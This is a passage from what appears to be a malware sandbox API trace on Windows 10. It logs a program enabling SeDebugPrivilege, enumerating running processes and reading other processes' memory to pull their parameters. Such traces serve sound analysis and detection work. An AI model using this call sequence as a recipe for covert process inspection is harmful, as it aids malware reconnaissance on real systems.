_Value=0x44c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1100") returned 0x0 [0344.609] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1100") returned 4 [0344.609] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.609] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.610] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0xa9c [0344.610] GetLastError () returned 0x0 [0344.610] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.611] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.611] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.611] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.611] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.611] malloc (_Size=0x52) returned 0xeaa590 [0344.611] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472168, lpBuffer=0xeaa590, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa590*, lpNumberOfBytesRead=0x0) returned 1 [0344.612] free (_Block=0xeaa590) [0344.612] CloseHandle (hObject=0xa9c) returned 1 [0344.612] _ui64tow_s (in: _Value=0x370, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="880") returned 0x0 [0344.613] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="880") returned 3 [0344.613] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.613] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.614] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xa9c [0344.614] GetLastError () returned 0x0 [0344.614] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.614] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.614] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.614] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5924f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.614] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.614] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.615] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.615] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.615] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.615] malloc (_Size=0x68) returned 0xeb6380 [0344.615] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592168, lpBuffer=0xeb6380, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0344.615] free (_Block=0xeb6380) [0344.616] CloseHandle (hObject=0xa9c) returned 1 [0344.616] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0344.616] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4280") returned 4 [0344.616] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.616] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.617] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0xa9c [0344.617] GetLastError () returned 0x0 [0344.617] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5426a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x542278, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.618] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.618] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x541c30, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.618] malloc (_Size=0x7a) returned 0xe87af0 [0344.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5422ec, lpBuffer=0xe87af0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87af0*, lpNumberOfBytesRead=0x0) returned 1 [0344.619] free (_Block=0xe87af0) [0344.619] CloseHandle (hObject=0xa9c) returned 1 [0344.619] _ui64tow_s (in: _Value=0x11e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4576") returned 0x0 [0344.619] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4576") returned 4 [0344.620] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.620] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.620] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e0) returned 0xa9c [0344.620] GetLastError () returned 0x0 [0344.620] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2228, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.622] malloc (_Size=0x6a) returned 0xea9620 [0344.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2290, lpBuffer=0xea9620, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0344.622] free (_Block=0xea9620) [0344.623] CloseHandle (hObject=0xa9c) returned 1 [0344.624] free (_Block=0x2410080) [0344.630] malloc (_Size=0x48) returned 0xea7c50 [0344.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ed6c8 | out: lpSystemTimeAsFileTime=0x5ed6c8*(dwLowDateTime=0x877fcc37, dwHighDateTime=0x1dac836)) [0344.630] SetEvent (hEvent=0x404) returned 1 [0346.285] SetEvent (hEvent=0x404) returned 1 [0346.286] free (_Block=0xea7c50) [0346.286] GetCurrentThread () returned 0xfffffffffffffffe [0346.286] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa9c) returned 1 [0346.286] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0346.287] RtlRestoreLastWin32Error () returned 0x2ad000 [0346.287] AdjustTokenPrivileges (in: TokenHandle=0xa9c, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0346.287] GetLastError () returned 0x0 [0346.287] CloseHandle (hObject=0xa9c) returned 1 [0346.287] malloc (_Size=0x8000) returned 0xe9afd0 [0346.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0346.289] free (_Block=0xe9afd0) [0346.289] malloc (_Size=0x10000) returned 0xeced60 [0346.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0346.292] free (_Block=0xeced60) [0346.292] malloc (_Size=0x18000) returned 0xeced60 [0346.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0346.294] free (_Block=0xeced60) [0346.294] malloc (_Size=0x20000) returned 0xf1af50 [0346.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0346.299] free (_Block=0xf1af50) [0346.299] malloc (_Size=0x28000) returned 0x2410080 [0346.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0346.304] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0346.304] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0346.304] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.304] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.305] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0346.305] CloseHandle (hObject=0x0) returned 0 [0346.305] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0346.305] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0346.306] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.306] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.306] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0346.306] CloseHandle (hObject=0x0) returned 0 [0346.307] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0346.307] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0346.307] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.307] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.308] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0346.308] CloseHandle (hObject=0x0) returned 0 [0346.308] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0346.308] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0346.308] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.308] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0346.309] CloseHandle (hObject=0x0) returned 0 [0346.310] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0346.310] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0346.310] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.310] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0346.311] CloseHandle (hObject=0x0) returned 0 [0346.311] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0346.311] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0346.311] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.311] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.312] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0346.312] CloseHandle (hObject=0x0) returned 0 [0346.313] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0346.313] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0346.313] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.313] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.314] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0346.314] CloseHandle (hObject=0x0) returned 0 [0346.314] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0346.314] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0346.315] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.315] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.315] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0346.315] GetLastError () returned 0x0 [0346.315] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.316] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.316] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.317] malloc (_Size=0x1c) returned 0xecd1b0 [0346.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd1b0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd1b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.317] free (_Block=0xecd1b0) [0346.317] CloseHandle (hObject=0xa9c) returned 1 [0346.317] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0346.317] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0346.317] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.318] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, 